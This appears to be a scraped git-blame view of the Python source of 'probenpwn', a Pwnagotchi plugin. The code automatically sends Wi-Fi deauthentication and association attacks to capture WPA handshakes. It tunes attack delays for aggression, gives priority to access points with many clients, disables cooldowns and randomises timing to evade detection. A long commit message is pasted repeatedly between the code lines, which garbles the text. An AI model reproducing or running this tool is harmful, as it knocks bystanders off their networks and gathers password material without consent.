if not self . ok_to_attack ( agent , ap ) :
2025-02-02 17:15:19 -08:00
return
2025-03-16 20:16:21 -07:00
# Ensure channel is set before attack (Enhancement 5)
agent . set_channel ( ap [ ' channel ' ] )
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
self . attack_attempts [ ap_mac ] = self . attack_attempts . get ( ap_mac , 0 ) + 1
2025-03-16 20:16:21 -07:00
logging . info ( f " Attacking AP { ap [ ' mac ' ] } and client { cl [ ' mac ' ] if cl else ' N/A ' } ; attempt { self . attack_attempts [ ap_mac ] } " )
2025-02-18 01:57:39 -08:00
self . adjust_attack_parameters ( ap_mac )
2025-03-16 20:16:21 -07:00
if cl and agent . _config [ ' personality ' ] [ ' deauth ' ] :
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
delay = self . dynamic_attack_delay ( ap , cl )
agent . deauth ( ap , cl , delay )
2025-03-16 20:16:21 -07:00
if agent . _config [ ' personality ' ] [ ' associate ' ] :
agent . associate ( ap , 0.1 ) # Reduced delay for faster association (Enhancement 1)
2025-02-02 17:15:19 -08:00
def dynamic_attack_delay ( self , ap , cl ) :
2025-03-16 20:16:21 -07:00
""" Calculate adaptive delay with minimized values and retry mechanism (Enhancements 1 & 2). """
signal = cl . get ( ' signal ' , - 100 ) if cl else - 100
base_delay = 0.1 if signal > = - 60 else 0.2 # Minimized base delays (Enhancement 1)
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
ap_mac = ap [ ' mac ' ] . lower ( )
attempts = self . attack_attempts . get ( ap_mac , 0 )
2025-03-16 20:16:21 -07:00
# Retry mechanism: reduce delay aggressively after failed attempts (Enhancement 2)
if attempts > 5 :
base_delay * = 0.4 # 40% of base delay after 5 attempts
elif attempts > 2 :
base_delay * = 0.6 # 60% of base delay after 2 attempts
# Prioritize APs with more clients by further reducing delay (Enhancement 3)
num_clients = self . ap_clients . get ( ap_mac , 0 )
if num_clients > 3 : # High-value target with >3 clients
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
base_delay * = 0.8
randomized_delay = base_delay * random . uniform ( 0.9 , 1.1 )
2025-03-16 20:16:21 -07:00
logging . debug ( f " Dynamic delay for AP { ap [ ' mac ' ] } (signal { signal } dBm, { attempts } attempts, { num_clients } clients): { randomized_delay : .3f } s " )
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
return randomized_delay
2025-02-02 17:15:19 -08:00
2025-02-18 01:57:39 -08:00
def adjust_attack_parameters ( self , ap_mac ) :
2025-03-16 20:16:21 -07:00
""" Tune attack aggression based on adaptive success thresholds. """
2025-02-18 01:57:39 -08:00
success_count = self . success_counts . get ( ap_mac , 0 )
attack_count = self . attack_attempts . get ( ap_mac , 0 )
2025-03-16 20:16:21 -07:00
success_rate = ( success_count / attack_count ) * 100 if attack_count > 0 else 0
total_success = sum ( self . success_counts . values ( ) )
total_attempts = sum ( self . attack_attempts . values ( ) )
avg_success_rate = ( total_success / total_attempts ) * 100 if total_attempts > 0 else 0
low_threshold = avg_success_rate * 0.5 # 50% of average
high_threshold = avg_success_rate * 1.5 # 150% of average
if success_rate < low_threshold :
logging . info ( f " Low success rate ( { success_rate : .2f } %) on { ap_mac } . Increasing aggression. " )
self . attack_attempts [ ap_mac ] + = 5
elif success_rate > high_threshold :
logging . info ( f " High success rate ( { success_rate : .2f } %) on { ap_mac } . Reducing aggression. " )
self . attack_attempts [ ap_mac ] = max ( 1 , self . attack_attempts [ ap_mac ] - 2 )
2025-02-02 17:15:19 -08:00
def on_bcap_wifi_ap_new ( self , agent , event ) :
2025-03-16 20:16:21 -07:00
""" Handle new AP detection with immediate attack. """
2025-02-02 17:15:19 -08:00
try :
ap = event [ ' data ' ]
2025-03-16 20:16:21 -07:00
ap_mac = ap [ ' mac ' ] . lower ( )
self . ap_clients [ ap_mac ] = self . ap_clients . get ( ap_mac , 0 ) # Initialize client count (Enhancement 3)
if self . ok_to_attack ( agent , ap ) :
logging . info ( f " ProbeNpwn: Targeting new AP { ap . get ( ' hostname ' , ' Unknown AP ' ) } ( { ap [ ' mac ' ] } ) " )
self . executor . submit ( self . attack_target , agent , ap , None )
else :
logging . debug ( f " ProbeNpwn: Skipping new AP { ap . get ( ' hostname ' , ' Unknown AP ' ) } ( { ap [ ' mac ' ] } ) - whitelisted or invalid " )
2025-02-02 17:15:19 -08:00
except Exception as e :
2025-03-16 20:16:21 -07:00
logging . error ( f " ProbeNpwn: Error in on_bcap_wifi_ap_new: { repr ( e ) } " )
2025-02-02 17:15:19 -08:00
def on_bcap_wifi_client_new ( self , agent , event ) :
2025-03-16 20:16:21 -07:00
""" Handle new client detection with immediate deauth attack. """
2025-02-02 17:15:19 -08:00
try :
ap = event [ ' data ' ] [ ' AP ' ]
cl = event [ ' data ' ] [ ' Client ' ]
2025-03-16 20:16:21 -07:00
ap_mac = ap [ ' mac ' ] . lower ( )
# Increment client count for prioritization (Enhancement 3)
self . ap_clients [ ap_mac ] = self . ap_clients . get ( ap_mac , 0 ) + 1
if self . ok_to_attack ( agent , ap ) and self . ok_to_attack ( agent , cl ) :
logging . info ( f " ProbeNpwn: Targeting new client { cl . get ( ' hostname ' , ' Unknown Client ' ) } ( { cl [ ' mac ' ] } ) on AP { ap . get ( ' hostname ' , ' Unknown AP ' ) } ( { ap [ ' mac ' ] } ) " )
self . executor . submit ( self . attack_target , agent , ap , cl )
else :
logging . debug ( f " ProbeNpwn: Skipping new client { cl . get ( ' hostname ' , ' Unknown Client ' ) } ( { cl [ ' mac ' ] } ) on AP { ap . get ( ' hostname ' , ' Unknown AP ' ) } ( { ap [ ' mac ' ] } ) - whitelisted or invalid " )
2025-02-02 17:15:19 -08:00
except Exception as e :
2025-03-16 20:16:21 -07:00
logging . error ( f " ProbeNpwn: Error in on_bcap_wifi_client_new: { repr ( e ) } " )
2025-02-02 17:15:19 -08:00
def on_handshake ( self , agent , filename , ap , cl ) :
2025-03-16 20:16:21 -07:00
""" Handle successful handshake capture with cooldown and log success rate. """
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
ap_mac = ap [ ' mac ' ] . lower ( )
2025-03-16 20:16:21 -07:00
logging . info ( f " Handshake captured from { ap [ ' mac ' ] } " )
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
self . success_counts [ ap_mac ] = self . success_counts . get ( ap_mac , 0 ) + 1
2025-02-18 01:57:39 -08:00
self . total_handshakes + = 1
2025-03-16 20:16:21 -07:00
attempts = self . attack_attempts . get ( ap_mac , 0 )
if attempts > 0 :
success_rate = 100.0 / attempts
logging . info ( f " Success rate for handshake from { ap [ ' mac ' ] } : { success_rate : .2f } % (took { attempts } attempts) " )
else :
logging . info ( f " Handshake captured from { ap [ ' mac ' ] } with no recorded attempts. " )
if ap_mac in self . attack_attempts :
del self . attack_attempts [ ap_mac ]
# Cooldown logic commented out to maintain aggression
# self.cooldowns[ap_mac] = time.time() + 5
2025-02-02 17:15:19 -08:00
if ' mac ' in ap and ' mac ' in cl :
2025-03-16 20:16:21 -07:00
logging . info ( f " Captured handshake: { ap . get ( ' hostname ' , ' Unknown AP ' ) } ( { ap [ ' mac ' ] } ) -> "
f " ' { cl . get ( ' hostname ' , ' Unknown Client ' ) } ' ( { cl [ ' mac ' ] } ) ( { cl [ ' vendor ' ] } ) " )
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
if ap_mac in self . recents :
del self . recents [ ap_mac ]
cl_mac = cl [ ' mac ' ] . lower ( )
if cl_mac in self . recents :
del self . recents [ cl_mac ]
2025-02-02 17:15:19 -08:00
def on_epoch ( self , agent , epoch , epoch_data ) :
2025-03-16 20:16:21 -07:00
""" Clean up old entries in recents based on epoch duration. """
2025-02-02 17:15:19 -08:00
for mac in list ( self . recents ) :
if self . recents [ mac ] [ ' _track_time ' ] < ( time . time ( ) - ( self . epoch_duration * 2 ) ) :
del self . recents [ mac ]
def on_bcap_wifi_ap_updated ( self , agent , event ) :
2025-03-16 20:16:21 -07:00
""" Track updated APs. """
2025-02-02 17:15:19 -08:00
try :
ap = event [ ' data ' ]
2025-02-23 02:02:21 +01:00
if self . ok_to_attack ( agent , ap ) :
2025-03-16 20:16:21 -07:00
logging . debug ( f " AP updated: { ap . get ( ' hostname ' , ' Unknown AP ' ) } ( { ap [ ' mac ' ] } ) " )
2025-02-02 17:15:19 -08:00
self . track_recent ( ap )
except Exception as e :
2025-03-16 20:16:21 -07:00
logging . error ( f " Error in on_bcap_wifi_ap_updated: { repr ( e ) } " )
2025-02-02 17:15:19 -08:00
def on_bcap_wifi_client_updated ( self , agent , event ) :
2025-03-16 20:16:21 -07:00
""" Track updated clients. """
2025-02-02 17:15:19 -08:00
try :
ap = event [ ' data ' ] [ ' AP ' ]
cl = event [ ' data ' ] [ ' Client ' ]
2025-03-16 20:16:21 -07:00
ap_mac = ap [ ' mac ' ] . lower ( )
self . ap_clients [ ap_mac ] = self . ap_clients . get ( ap_mac , 0 ) + 1 # Update client count (Enhancement 3)
2025-02-23 02:02:21 +01:00
if self . ok_to_attack ( agent , ap ) and self . ok_to_attack ( agent , cl ) :
2025-03-16 20:16:21 -07:00
logging . debug ( f " Client updated: { ap . get ( ' hostname ' , ' Unknown AP ' ) } ( { ap [ ' mac ' ] } ) -> "
f " ' { cl . get ( ' hostname ' , ' Unknown Client ' ) } ' ( { cl [ ' mac ' ] } ) ( { cl [ ' vendor ' ] } ) " )
2025-02-02 17:15:19 -08:00
self . track_recent ( ap , cl )
except Exception as e :
2025-03-16 20:16:21 -07:00
logging . error ( f " Error in on_bcap_wifi_client_updated: { repr ( e ) } " )